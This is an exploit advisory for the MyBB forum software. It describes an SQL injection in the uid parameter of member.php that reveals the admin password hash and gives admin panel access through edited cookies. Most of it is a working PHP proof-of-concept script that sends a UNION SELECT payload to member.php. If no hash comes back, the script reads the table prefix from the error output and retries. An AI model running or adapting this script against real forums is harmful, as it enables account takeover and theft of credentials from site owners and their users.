Description:

MyBB is a powerful, efficient and free forum package developed in PHP
and MySQL. MyBB has been designed with the end users in mind, you and
your subscribers. Full control over your discussion system is presented
right at the tip of your fingers, from multiple styles and themes to the
ultimate customisation of your forums using the template system.



Exploit:

MyBB is prone to an SQL injection within the uid paramater of
member.php, a Union attack can be used to obtain the admin password
hash. The appropriate cookies can then be edited to allow admin panel
access.



Proof of concept:

http://www.example.com/mybb/ 

echo 'Pass:' . get_pass('www.example.com', '/mybb', ''); 



function get_pass($host, $path, $dbprefix) {

	$query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200, password AS type FROM {$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");



	$query = implode('&', $query);



	$header = "POST $path/member.php?action=avatar HTTP/1.1\r\n";

	$header .= "Host: $host\r\n";

	$header .= "Content-Type: application/x-www-form-urlencoded\r\n";

	$header .= "Content-Length: " . strlen($query) . "\r\n\r\n";



	$fp = fsockopen($host, 80, $errno, $errstr, 30);

	fwrite($fp, $header . $query);



	$allah = '';

	while (!feof($fp)) {

		$tmp = fgets($fp, 1024);

		$allah .= $tmp;

	}

	fclose($fp);



	preg_match('/\: ([a-z0-9]{32})/i', $allah, $matches);

	if (empty($matches[1]) && empty($dbprefix)) {

		preg_match('#FROM (\w+)avatars WHERE#i', $allah, $matches);

		$dbprefix = $matches[1];

		if (empty($dbprefix)) {

			return 'Unable to obtain password';

		}

		$password = get_pass($host, $path, $dbprefix);

	}

	else {

		$password = $matches[1];

	}



	return $password;

}



?>